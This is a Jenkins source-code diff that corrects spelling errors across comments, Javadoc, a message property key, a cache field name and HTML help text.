                                                                    * Jenkins supports both the HTTP basic authentication and the form-based authentication. * The former is for scripted clients, and the latter is for humans. Unfortunately, - * because the servlet spec does not allow us to programatically authenticate users, + * because the servlet spec does not allow us to programmatically authenticate users, * we need to rely on some hack to make it work, and this is the class that implements * that hack. * diff --git a/core/src/main/java/hudson/security/Permission.java b/core/src/main/java/hudson/security/Permission.java index 2bfdeb0bc9..431ad0fd1d 100644 --- a/core/src/main/java/hudson/security/Permission.java +++ b/core/src/main/java/hudson/security/Permission.java @@ -314,7 +314,7 @@ public final class Permission { // // Root Permissions. // -// These permisisons are meant to be used as the 'impliedBy' permission for other more specific permissions. +// These permissions are meant to be used as the 'impliedBy' permission for other more specific permissions. // The intention is to allow a simplified AuthorizationStrategy implementation agnostic to // specific permissions. diff --git a/core/src/main/java/hudson/slaves/ComputerLauncher.java b/core/src/main/java/hudson/slaves/ComputerLauncher.java index cbca34f3ff..603df116de 100644 --- a/core/src/main/java/hudson/slaves/ComputerLauncher.java +++ b/core/src/main/java/hudson/slaves/ComputerLauncher.java @@ -82,7 +82,7 @@ public abstract class ComputerLauncher extends AbstractDescribableImpl { public FormValidation doCheckName(@QueryParameter String value ) { String name = Util.fixEmptyAndTrim(value); if(name==null) - return FormValidation.error(Messages.NodeDescripter_CheckName_Mandatory()); + return FormValidation.error(Messages.NodeDescriptor_CheckName_Mandatory()); try { Jenkins.checkGoodName(name); } catch (Failure f) { diff --git a/core/src/main/java/hudson/slaves/RetentionStrategy.java b/core/src/main/java/hudson/slaves/RetentionStrategy.java index 90fa17331d..3d8c79e544 100644 --- a/core/src/main/java/hudson/slaves/RetentionStrategy.java +++ b/core/src/main/java/hudson/slaves/RetentionStrategy.java @@ -181,7 +181,7 @@ public abstract class RetentionStrategy extends AbstractDesc private static final Logger logger = Logger.getLogger(Demand.class.getName()); /** - * The delay (in minutes) for which the agent must be in demand before tring to launch it. + * The delay (in minutes) for which the agent must be in demand before trying to launch it. */ private final long inDemandDelay; diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 36bd1478cb..40e66914d7 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -557,7 +557,7 @@ public class SlaveComputer extends Computer { // update the data structure atomically to prevent others from seeing a channel that's not properly initialized yet synchronized(channelLock) { if(this.channel!=null) { - // check again. we used to have this entire method in a big sycnhronization block, + // check again. we used to have this entire method in a big synchronization block, // but Channel constructor blocks for an external process to do the connection // if CommandLauncher is used, and that cannot be interrupted because it blocks at InputStream. // so if the process hangs, it hangs the thread in a lock, and since Hudson will try to relaunch, diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index 5313a10c51..cbfd2b4173 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -298,7 +298,7 @@ public class Maven extends Builder { int startIndex = 0; int endIndex; do { - // split targets into multiple invokations of maven separated by | + // split targets into multiple invocations of maven separated by | endIndex = targets.indexOf('|', startIndex); if (-1 == endIndex) { endIndex = targets.length(); diff --git a/core/src/main/java/hudson/tasks/Publisher.java b/core/src/main/java/hudson/tasks/Publisher.java index f81cbdeb44..c1c8a601e2 100644 --- a/core/src/main/java/hudson/tasks/Publisher.java +++ b/core/src/main/java/hudson/tasks/Publisher.java @@ -101,7 +101,7 @@ public abstract class Publisher extends BuildStepCompatibilityLayer implements D * to include their execution time in the total build time. * *

                                                                    - * So normally, that is the preferrable behavior, but in a few cases + * So normally, that is the preferable behavior, but in a few cases * this is problematic. One of such cases is when a publisher needs to * trigger other builds, which in turn need to see this build as a * completed build. Those plugins that need to do this can return true diff --git a/core/src/main/java/hudson/tasks/UserNameResolver.java b/core/src/main/java/hudson/tasks/UserNameResolver.java index 5aa7af3768..79b8bc81ab 100644 --- a/core/src/main/java/hudson/tasks/UserNameResolver.java +++ b/core/src/main/java/hudson/tasks/UserNameResolver.java @@ -58,7 +58,7 @@ public abstract class UserNameResolver implements ExtensionPoint { * *

                                                                    * When multiple resolvers are installed, they are consulted in order and - * the search will be over when a name is found by someoene. + * the search will be over when a name is found by someone. * *

                                                                    * Since {@link UserNameResolver} is singleton, this method can be invoked concurrently diff --git a/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java b/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java index 5ad04e76ef..1b7e8c02cc 100644 --- a/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java +++ b/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java @@ -37,7 +37,7 @@ public abstract class DownloadFromUrlInstaller extends ToolInstaller { /** * Checks if the specified expected location already contains the installed version of the tool. * - * This check needs to run fairly efficiently. The current implementation uses the souce URL of {@link Installable}, + * This check needs to run fairly efficiently. The current implementation uses the source URL of {@link Installable}, * based on the assumption that released bits do not change its content. */ protected boolean isUpToDate(FilePath expectedLocation, Installable i) throws IOException, InterruptedException { diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index 68f61ddeb4..3f4e55c813 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -160,7 +160,7 @@ public class SCMTrigger extends Trigger { /** * Run the SCM trigger with additional build actions. Used by SubversionRepositoryStatus - * to trigger a build at a specific revisionn number. + * to trigger a build at a specific revision number. * * @param additionalActions * @since 1.375 @@ -597,7 +597,7 @@ public class SCMTrigger extends Trigger { if (job == null) { return; } - // we can pre-emtively check the SCMDecisionHandler instances here + // we can preemptively check the SCMDecisionHandler instances here // note that job().poll(listener) should also check this SCMDecisionHandler veto = SCMDecisionHandler.firstShouldPollVeto(job); if (veto != null) { diff --git a/core/src/main/java/hudson/util/ByteArrayOutputStream2.java b/core/src/main/java/hudson/util/ByteArrayOutputStream2.java index 8942599afb..0425f217bd 100644 --- a/core/src/main/java/hudson/util/ByteArrayOutputStream2.java +++ b/core/src/main/java/hudson/util/ByteArrayOutputStream2.java @@ -26,7 +26,7 @@ public class ByteArrayOutputStream2 extends ByteArrayOutputStream { public void readFrom(InputStream is) throws IOException { while(true) { if(count==buf.length) { - // realllocate + // reallocate byte[] data = new byte[buf.length*2]; System.arraycopy(buf,0,data,0,buf.length); buf = data; diff --git a/core/src/main/java/hudson/util/CharacterEncodingFilter.java b/core/src/main/java/hudson/util/CharacterEncodingFilter.java index 5e7ea94d93..8a058f180f 100644 --- a/core/src/main/java/hudson/util/CharacterEncodingFilter.java +++ b/core/src/main/java/hudson/util/CharacterEncodingFilter.java @@ -90,7 +90,7 @@ public class CharacterEncodingFilter implements Filter { // containers often implement RFCs incorrectly in that it doesn't interpret query parameter // decoding with UTF-8. This will ensure we get it right. - // but doing this for config.xml submission could potentiall overwrite valid + // but doing this for config.xml submission could potentially overwrite valid // "text/xml;charset=xxx" String contentType = req.getContentType(); if (contentType != null) { diff --git a/core/src/main/java/hudson/util/ChunkedInputStream.java b/core/src/main/java/hudson/util/ChunkedInputStream.java index 5691eeb80d..0ae926f75c 100644 --- a/core/src/main/java/hudson/util/ChunkedInputStream.java +++ b/core/src/main/java/hudson/util/ChunkedInputStream.java @@ -67,7 +67,7 @@ public class ChunkedInputStream extends InputStream { /** The current position within the current chunk */ private int pos; - /** True if we'are at the beginning of stream */ + /** True if we're at the beginning of stream */ private boolean bof = true; /** True if we've reached the end of stream */ @@ -101,7 +101,7 @@ public class ChunkedInputStream extends InputStream { * is followed by a CRLF. The method returns -1 as soon as a chunksize of 0 * is detected.

                                                                    * - *

                                                                    Trailer headers are read automcatically at the end of the stream and + *

                                                                    Trailer headers are read automatically at the end of the stream and * can be obtained with the getResponseFooters() method.

                                                                    * * @return -1 of the end of the stream has been reached or the next data diff --git a/core/src/main/java/hudson/util/CompressedFile.java b/core/src/main/java/hudson/util/CompressedFile.java index fb691e298d..f2f852ca33 100644 --- a/core/src/main/java/hudson/util/CompressedFile.java +++ b/core/src/main/java/hudson/util/CompressedFile.java @@ -44,14 +44,14 @@ import com.jcraft.jzlib.GZIPInputStream; import com.jcraft.jzlib.GZIPOutputStream; /** - * Represents write-once read-many file that can be optiionally compressed + * Represents write-once read-many file that can be optionally compressed * to save disk space. This is used for console output and other bulky data. * *

                                                                    * In this class, the data on the disk can be one of two states: *

                                                                      *
                                                                    1. Uncompressed, in which case the original data is available in the specified file name. - *
                                                                    2. Compressed, in which case the gzip-compressed data is available in the specifiled file name + ".gz" extension. + *
                                                                    3. Compressed, in which case the gzip-compressed data is available in the specified file name + ".gz" extension. *
                                                                    * * Once the file is written and completed, it can be compressed asynchronously diff --git a/core/src/main/java/hudson/util/DescribableList.java b/core/src/main/java/hudson/util/DescribableList.java index 66c60e4435..a5e6df6280 100644 --- a/core/src/main/java/hudson/util/DescribableList.java +++ b/core/src/main/java/hudson/util/DescribableList.java @@ -200,7 +200,7 @@ public class DescribableList, D extends Descriptor> * Rebuilds the list by creating a fresh instances from the submitted form. * *

                                                                    - * This version works with the the <f:hetero-list> UI tag, where the user + * This version works with the <f:hetero-list> UI tag, where the user * is allowed to create multiple instances of the same descriptor. Order is also * significant. */ @@ -249,7 +249,7 @@ public class DescribableList, D extends Descriptor> /** * {@link Converter} implementation for XStream. * - * Serializaion form is compatible with plain {@link List}. + * Serialization form is compatible with plain {@link List}. */ public static class ConverterImpl extends AbstractCollectionConverter { CopyOnWriteList.ConverterImpl copyOnWriteListConverter; diff --git a/core/src/main/java/hudson/util/DescriptorList.java b/core/src/main/java/hudson/util/DescriptorList.java index 75fedaab39..34ea3ba796 100644 --- a/core/src/main/java/hudson/util/DescriptorList.java +++ b/core/src/main/java/hudson/util/DescriptorList.java @@ -54,7 +54,7 @@ import javax.annotation.CheckForNull; *

                                                                    * The other mode is the new mode, where the {@link Descriptor}s are actually stored in {@link ExtensionList} * (see {@link jenkins.model.Jenkins#getDescriptorList(Class)}) and this class acts as a view to it. This enables - * bi-directional interoperability — both descriptors registred automatically and descriptors registered + * bi-directional interoperability — both descriptors registered automatically and descriptors registered * manually are visible from both {@link DescriptorList} and {@link ExtensionList}. In this mode, * {@link #legacy} is null but {@link #type} is non-null. * diff --git a/core/src/main/java/hudson/util/DoubleLaunchChecker.java b/core/src/main/java/hudson/util/DoubleLaunchChecker.java index 801b9fe5c6..091319f712 100644 --- a/core/src/main/java/hudson/util/DoubleLaunchChecker.java +++ b/core/src/main/java/hudson/util/DoubleLaunchChecker.java @@ -61,7 +61,7 @@ import java.lang.reflect.Method; * *

                                                                    * More traditional way of doing this is to use a lock file with PID in it, but unfortunately in Java, - * there's no reliabe way to obtain PID. + * there's no reliable way to obtain PID. * * @author Kohsuke Kawaguchi * @since 1.178 diff --git a/core/src/main/java/hudson/util/FormFieldValidator.java b/core/src/main/java/hudson/util/FormFieldValidator.java index 2fc8874a96..737b3ee715 100644 --- a/core/src/main/java/hudson/util/FormFieldValidator.java +++ b/core/src/main/java/hudson/util/FormFieldValidator.java @@ -133,7 +133,7 @@ public abstract class FormFieldValidator { throw new AccessDeniedException("No subject"); subject.checkPermission(permission); } catch (AccessDeniedException e) { - // if the user has hudson-wisde admin permission, all checks are allowed + // if the user has hudson-wide admin permission, all checks are allowed // this is to protect Hudson administrator from broken ACL/SecurityRealm implementation/configuration. if(!Jenkins.getInstance().hasPermission(Jenkins.ADMINISTER)) throw e; @@ -481,7 +481,7 @@ public abstract class FormFieldValidator { else warning(msg); } } catch (InterruptedException e) { - ok(); // coundn't check + ok(); // couldn't check } } diff --git a/core/src/main/java/hudson/util/FormValidation.java b/core/src/main/java/hudson/util/FormValidation.java index c6dddca183..c95e5d1da8 100644 --- a/core/src/main/java/hudson/util/FormValidation.java +++ b/core/src/main/java/hudson/util/FormValidation.java @@ -511,7 +511,7 @@ public abstract class FormValidation extends IOException implements HttpResponse } /** - * Implement the actual form validation logic, by using other convenience methosd defined in this class. + * Implement the actual form validation logic, by using other convenience methods defined in this class. * If you are not using any of those, you don't need to extend from this class. */ protected abstract FormValidation check() throws IOException, ServletException; diff --git a/core/src/main/java/hudson/util/IOUtils.java b/core/src/main/java/hudson/util/IOUtils.java index 221004fd11..39561cb19b 100644 --- a/core/src/main/java/hudson/util/IOUtils.java +++ b/core/src/main/java/hudson/util/IOUtils.java @@ -71,7 +71,7 @@ public class IOUtils { * *

                                                                    * {@link InputStream#skip(long)} has two problems. One is that - * it doesn't let us reliably differentiate "hit EOF" case vs "inpustream just returning 0 since there's no data + * it doesn't let us reliably differentiate "hit EOF" case vs "inputstream just returning 0 since there's no data * currently available at hand", and some subtypes (such as {@link FileInputStream#skip(long)} returning -1. * *

                                                                    diff --git a/core/src/main/java/hudson/util/ListBoxModel.java b/core/src/main/java/hudson/util/ListBoxModel.java index c880739b2c..98d75fbd9a 100644 --- a/core/src/main/java/hudson/util/ListBoxModel.java +++ b/core/src/main/java/hudson/util/ListBoxModel.java @@ -50,7 +50,7 @@ import java.util.Collection; * *

                                                                    
                                                                      * <select id='foo'>
                                                                    - *   <option>Fetching values...</optoin>
                                                                    + *   <option>Fetching values...</option>
                                                                      * </select>
                                                                      * 
                                                                    * diff --git a/core/src/main/java/hudson/util/PersistedList.java b/core/src/main/java/hudson/util/PersistedList.java index 021605ead4..17fcc66381 100644 --- a/core/src/main/java/hudson/util/PersistedList.java +++ b/core/src/main/java/hudson/util/PersistedList.java @@ -217,7 +217,7 @@ public class PersistedList extends AbstractList { /** * {@link Converter} implementation for XStream. * - * Serializaion form is compatible with plain {@link List}. + * Serialization form is compatible with plain {@link List}. */ public static class ConverterImpl extends AbstractCollectionConverter { CopyOnWriteList.ConverterImpl copyOnWriteListConverter; diff --git a/core/src/main/java/hudson/util/ProcessTree.java b/core/src/main/java/hudson/util/ProcessTree.java index 40e30217a5..b81cfcdd2e 100644 --- a/core/src/main/java/hudson/util/ProcessTree.java +++ b/core/src/main/java/hudson/util/ProcessTree.java @@ -1110,7 +1110,7 @@ public abstract class ProcessTree implements Iterable, IProcessTree, // for some reason, I was never able to get sysctlbyname work. // if(LIBC.sysctlbyname("kern.argmax", argmaxRef.getPointer(), size, NULL, _)!=0) if(LIBC.sysctl(new int[]{CTL_KERN,KERN_ARGMAX},2, argmaxRef.getPointer(), size, NULL, _)!=0) - throw new IOException("Failed to get kernl.argmax: "+LIBC.strerror(Native.getLastError())); + throw new IOException("Failed to get kern.argmax: "+LIBC.strerror(Native.getLastError())); int argmax = argmaxRef.getValue(); diff --git a/core/src/main/java/hudson/util/RunList.java b/core/src/main/java/hudson/util/RunList.java index 8b9bd7683d..76f188856f 100644 --- a/core/src/main/java/hudson/util/RunList.java +++ b/core/src/main/java/hudson/util/RunList.java @@ -77,7 +77,7 @@ public class RunList extends AbstractList { } /** - * Createsa a {@link RunList} combining all the runs of the supplied jobs. + * Creates a a {@link RunList} combining all the runs of the supplied jobs. * * @param jobs the supplied jobs. * @param the base class of job. diff --git a/core/src/main/java/hudson/util/SequentialExecutionQueue.java b/core/src/main/java/hudson/util/SequentialExecutionQueue.java index a1cfa3ccba..1ad1915099 100644 --- a/core/src/main/java/hudson/util/SequentialExecutionQueue.java +++ b/core/src/main/java/hudson/util/SequentialExecutionQueue.java @@ -23,7 +23,7 @@ import java.util.concurrent.ExecutorService; */ public class SequentialExecutionQueue implements Executor { /** - * Access is sycnhronized by {@code Queue.this} + * Access is synchronized by {@code Queue.this} */ private final Map entries = new HashMap(); private ExecutorService executors; diff --git a/core/src/main/java/hudson/util/spring/BeanBuilder.java b/core/src/main/java/hudson/util/spring/BeanBuilder.java index 38482703fd..9c8b9485c5 100644 --- a/core/src/main/java/hudson/util/spring/BeanBuilder.java +++ b/core/src/main/java/hudson/util/spring/BeanBuilder.java @@ -147,7 +147,7 @@ public class BeanBuilder extends GroovyObjectSupport { } /** - * Retrieves the RuntimeSpringConfiguration instance used the the BeanBuilder + * Retrieves the RuntimeSpringConfiguration instance used by the BeanBuilder * @return The RuntimeSpringConfiguration instance */ public RuntimeSpringConfiguration getSpringConfig() { @@ -198,7 +198,7 @@ public class BeanBuilder extends GroovyObjectSupport { /** * This class is used to defer the adding of a property to a bean definition until later * This is for a case where you assign a property to a list that may not contain bean references at - * that point of asignment, but may later hence it would need to be managed + * that point of assignment, but may later hence it would need to be managed * * @author Graeme Rocher */ diff --git a/core/src/main/java/hudson/util/spring/RuntimeSpringConfiguration.java b/core/src/main/java/hudson/util/spring/RuntimeSpringConfiguration.java index f97f143466..e17bd0662c 100644 --- a/core/src/main/java/hudson/util/spring/RuntimeSpringConfiguration.java +++ b/core/src/main/java/hudson/util/spring/RuntimeSpringConfiguration.java @@ -171,7 +171,7 @@ interface RuntimeSpringConfiguration extends ServletContextAware { BeanConfiguration getBeanConfig(String name); /** - * Creates and returns the BeanDefinition that is regsitered within the given name or returns null + * Creates and returns the BeanDefinition that is registered within the given name or returns null * * @param name The name of the bean definition * @return A BeanDefinition diff --git a/core/src/main/java/hudson/views/ListViewColumn.java b/core/src/main/java/hudson/views/ListViewColumn.java index 06d8ba2f14..fe1a62823a 100644 --- a/core/src/main/java/hudson/views/ListViewColumn.java +++ b/core/src/main/java/hudson/views/ListViewColumn.java @@ -54,7 +54,7 @@ import net.sf.json.JSONObject; * the <td> tag. * *

                                                                    - * This object may have an additional columHeader.jelly. The default ColmnHeader + * This object may have an additional columnHeader.jelly. The default ColumnHeader * will render {@link #getColumnCaption()}. * *

                                                                    diff --git a/core/src/main/java/jenkins/install/InstallState.java b/core/src/main/java/jenkins/install/InstallState.java index 622a552c07..71790d3c54 100644 --- a/core/src/main/java/jenkins/install/InstallState.java +++ b/core/src/main/java/jenkins/install/InstallState.java @@ -52,7 +52,7 @@ public class InstallState implements ExtensionPoint { public static final InstallState UNKNOWN = new InstallState("UNKNOWN", true); /** - * After any setup / restart / etc. hooks are done, states hould be running + * After any setup / restart / etc. hooks are done, states should be running */ @Extension public static final InstallState RUNNING = new InstallState("RUNNING", true); @@ -151,7 +151,7 @@ public class InstallState implements ExtensionPoint { public static final InstallState TEST = new InstallState("TEST", true); /** - * Jenkins started in development mode: Bolean.getBoolean("hudson.Main.development"). + * Jenkins started in development mode: Boolean.getBoolean("hudson.Main.development"). * Can be run normally with the -Djenkins.install.runSetupWizard=true */ public static final InstallState DEVELOPMENT = new InstallState("DEVELOPMENT", true); diff --git a/core/src/main/java/jenkins/install/InstallUtil.java b/core/src/main/java/jenkins/install/InstallUtil.java index 45fb5ce3a6..9f2a150f91 100644 --- a/core/src/main/java/jenkins/install/InstallUtil.java +++ b/core/src/main/java/jenkins/install/InstallUtil.java @@ -91,7 +91,7 @@ public class InstallUtil { */ public static void proceedToNextStateFrom(InstallState prior) { InstallState next = getNextInstallState(prior); - if (Main.isDevelopmentMode) LOGGER.info("Install state tranisitioning from: " + prior + " to: " + next); + if (Main.isDevelopmentMode) LOGGER.info("Install state transitioning from: " + prior + " to: " + next); if (next != null) { Jenkins.getInstance().setInstallState(next); } diff --git a/core/src/main/java/jenkins/install/SetupWizard.java b/core/src/main/java/jenkins/install/SetupWizard.java index 6368fb4b8f..35cff955f0 100644 --- a/core/src/main/java/jenkins/install/SetupWizard.java +++ b/core/src/main/java/jenkins/install/SetupWizard.java @@ -339,7 +339,7 @@ public class SetupWizard extends PageDecorator { /** * Gets the suggested plugin list from the update sites, falling back to a local version - * @return JSON array with the categorized plugon list + * @return JSON array with the categorized plugin list */ @CheckForNull /*package*/ JSONArray getPlatformPluginList() { diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index dd3302ad33..55f8ffa9f2 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1437,7 +1437,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * @deprecated - * UI method. Not meant to be used programatically. + * UI method. Not meant to be used programmatically. */ @Deprecated public ComputerSet getComputer() { @@ -1456,7 +1456,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @SuppressWarnings({"unchecked", "rawtypes"}) // too late to fix public Descriptor getDescriptor(String id) { - // legacy descriptors that are reigstered manually doesn't show up in getExtensionList, so check them explicitly. + // legacy descriptors that are registered manually doesn't show up in getExtensionList, so check them explicitly. Iterable descriptors = Iterators.sequence(getExtensionList(Descriptor.class), DescriptorExtensionList.listLegacyInstances()); for (Descriptor d : descriptors) { if (d.getId().equals(id)) { @@ -2342,7 +2342,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // Almost everyone else except Nginx put the host and port in separate headers buf.append(host); } else { - // Nginx uses the same spec as for the Host header, i.e. hostanme:port + // Nginx uses the same spec as for the Host header, i.e. hostname:port buf.append(host.substring(0, index)); if (index + 1 < host.length()) { try { @@ -3887,7 +3887,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve String from = req.getParameter("from"); if(from!=null && from.startsWith("/") && !from.equals("/loginError")) { - rsp.sendRedirect2(from); // I'm bit uncomfortable letting users redircted to other sites, make sure the URL falls into this domain + rsp.sendRedirect2(from); // I'm bit uncomfortable letting users redirected to other sites, make sure the URL falls into this domain return; } diff --git a/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java b/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java index a36da7421b..60a2ae3c79 100644 --- a/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java +++ b/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java @@ -293,7 +293,7 @@ public abstract class AbstractLazyLoadRunMap extends AbstractMap i } /** - * Checks if the the specified build exists. + * Checks if the specified build exists. * * @param number the build number to probe. * @return {@code true} if there is an run for the corresponding number, note that this does not mean that diff --git a/core/src/main/java/jenkins/mvn/GlobalSettingsProvider.java b/core/src/main/java/jenkins/mvn/GlobalSettingsProvider.java index aa7285eed9..9fb3e65189 100644 --- a/core/src/main/java/jenkins/mvn/GlobalSettingsProvider.java +++ b/core/src/main/java/jenkins/mvn/GlobalSettingsProvider.java @@ -24,7 +24,7 @@ public abstract class GlobalSettingsProvider extends AbstractDescribableImplnull if no settings will be provided. */ public abstract FilePath supplySettings(AbstractBuild build, TaskListener listener); diff --git a/core/src/main/java/jenkins/security/UserDetailsCache.java b/core/src/main/java/jenkins/security/UserDetailsCache.java index 2ea4fe777a..1d5f221e43 100644 --- a/core/src/main/java/jenkins/security/UserDetailsCache.java +++ b/core/src/main/java/jenkins/security/UserDetailsCache.java @@ -59,7 +59,7 @@ public final class UserDetailsCache { */ private static /*not final*/ Integer EXPIRE_AFTER_WRITE_SEC = SystemProperties.getInteger(SYS_PROP_NAME, (int)TimeUnit.MINUTES.toSeconds(2)); private final Cache detailsCache; - private final Cache existanceCache; + private final Cache existenceCache; /** * Constructor intended to be instantiated by Jenkins only. @@ -75,7 +75,7 @@ public final class UserDetailsCache { } } detailsCache = newBuilder().softValues().expireAfterWrite(EXPIRE_AFTER_WRITE_SEC, TimeUnit.SECONDS).build(); - existanceCache = newBuilder().softValues().expireAfterWrite(EXPIRE_AFTER_WRITE_SEC, TimeUnit.SECONDS).build(); + existenceCache = newBuilder().softValues().expireAfterWrite(EXPIRE_AFTER_WRITE_SEC, TimeUnit.SECONDS).build(); } /** @@ -97,7 +97,7 @@ public final class UserDetailsCache { */ @CheckForNull public UserDetails getCached(String idOrFullName) throws UsernameNotFoundException { - Boolean exists = existanceCache.getIfPresent(idOrFullName); + Boolean exists = existenceCache.getIfPresent(idOrFullName); if (exists != null && !exists) { throw new UserMayOrMayNotExistException(String.format("\"%s\" does not exist", idOrFullName)); } else { @@ -119,7 +119,7 @@ public final class UserDetailsCache { */ @Nonnull public UserDetails loadUserByUsername(String idOrFullName) throws UsernameNotFoundException, DataAccessException, ExecutionException { - Boolean exists = existanceCache.getIfPresent(idOrFullName); + Boolean exists = existenceCache.getIfPresent(idOrFullName); if(exists != null && !exists) { throw new UsernameNotFoundException(String.format("\"%s\" does not exist", idOrFullName)); } else { @@ -141,7 +141,7 @@ public final class UserDetailsCache { * Discards all entries in the cache. */ public void invalidateAll() { - existanceCache.invalidateAll(); + existenceCache.invalidateAll(); detailsCache.invalidateAll(); } @@ -150,7 +150,7 @@ public final class UserDetailsCache { * @param idOrFullName the key */ public void invalidate(final String idOrFullName) { - existanceCache.invalidate(idOrFullName); + existenceCache.invalidate(idOrFullName); detailsCache.invalidate(idOrFullName); } @@ -171,17 +171,17 @@ public final class UserDetailsCache { Jenkins jenkins = Jenkins.getInstance(); UserDetails userDetails = jenkins.getSecurityRealm().loadUserByUsername(idOrFullName); if (userDetails == null) { - existanceCache.put(this.idOrFullName, Boolean.FALSE); + existenceCache.put(this.idOrFullName, Boolean.FALSE); throw new NullPointerException("hudson.security.SecurityRealm should never return null. " + jenkins.getSecurityRealm() + " returned null for idOrFullName='" + idOrFullName + "'"); } - existanceCache.put(this.idOrFullName, Boolean.TRUE); + existenceCache.put(this.idOrFullName, Boolean.TRUE); return userDetails; } catch (UsernameNotFoundException e) { - existanceCache.put(this.idOrFullName, Boolean.FALSE); + existenceCache.put(this.idOrFullName, Boolean.FALSE); throw e; } catch (DataAccessException e) { - existanceCache.invalidate(this.idOrFullName); + existenceCache.invalidate(this.idOrFullName); throw e; } } diff --git a/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java b/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java index 56f4a57b77..3a9d095af1 100644 --- a/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java +++ b/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java @@ -49,7 +49,7 @@ public class AdminCallableMonitor extends AdministrativeMonitor { } /** - * Depending on whether the user said "examin" or "dismiss", send him to the right place. + * Depending on whether the user said "examine" or "dismiss", send him to the right place. */ @RequirePOST public HttpResponse doAct(@QueryParameter String dismiss) throws IOException { diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index 464f347d4c..c8c318887f 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -140,7 +140,7 @@ public class SystemProperties implements ServletContextListener, OnMaster { * @param key the name of the system property. * @param def a default value. * @return the string value of the system property, - * or {@code null} if the the property is missing and the default value is {@code null}. + * or {@code null} if the property is missing and the default value is {@code null}. * * @exception NullPointerException if {@code key} is {@code null}. * @exception IllegalArgumentException if {@code key} is empty. @@ -158,7 +158,7 @@ public class SystemProperties implements ServletContextListener, OnMaster { * @param def a default value. * @param logLevel the level of the log if the provided key is not found. * @return the string value of the system property, - * or {@code null} if the the property is missing and the default value is {@code null}. + * or {@code null} if the property is missing and the default value is {@code null}. * * @exception NullPointerException if {@code key} is {@code null}. * @exception IllegalArgumentException if {@code key} is empty. diff --git a/core/src/main/resources/hudson/Messages.properties b/core/src/main/resources/hudson/Messages.properties index 902cc4036d..80ecb8db83 100644 --- a/core/src/main/resources/hudson/Messages.properties +++ b/core/src/main/resources/hudson/Messages.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. FilePath.did_not_manage_to_validate_may_be_too_sl=Did not manage to validate {0} (may be too slow) -FilePath.validateAntFileMask.whitespaceSeprator=\ +FilePath.validateAntFileMask.whitespaceSeparator=\ Whitespace can no longer be used as the separator. Please Use \u2018,\u2019 as the separator instead. FilePath.validateAntFileMask.doesntMatchAndSuggest=\ \u2018{0}\u2019 doesn\u2019t match anything, but \u2018{1}\u2019 does. Perhaps that\u2019s what you mean? diff --git a/core/src/main/resources/hudson/PluginManager/installed.jelly b/core/src/main/resources/hudson/PluginManager/installed.jelly index 490e70f154..f2cdc4b13c 100644 --- a/core/src/main/resources/hudson/PluginManager/installed.jelly +++ b/core/src/main/resources/hudson/PluginManager/installed.jelly @@ -146,7 +146,7 @@ THE SOFTWARE.

                                                                    Failed : ${p.name}

                                                                    -
                                                                    +
                                                                    ${p.exceptionString}
                                                                    diff --git a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly index 48854e95fb..9be4024272 100644 --- a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly +++ b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly @@ -26,13 +26,13 @@ THE SOFTWARE. diff --git a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html index 7d2116b37a..1f30835c57 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html +++ b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html @@ -18,7 +18,7 @@ suites, as it allows each build to contain a smaller number of changes, while the total turnaround time decreases as subsequent builds do not need to wait for previous test runs to complete.
                                                                    - This feature is also useful for parameterised projects, whose individual build + This feature is also useful for parameterized projects, whose individual build executions — depending on the parameters used — can be completely independent from one another.

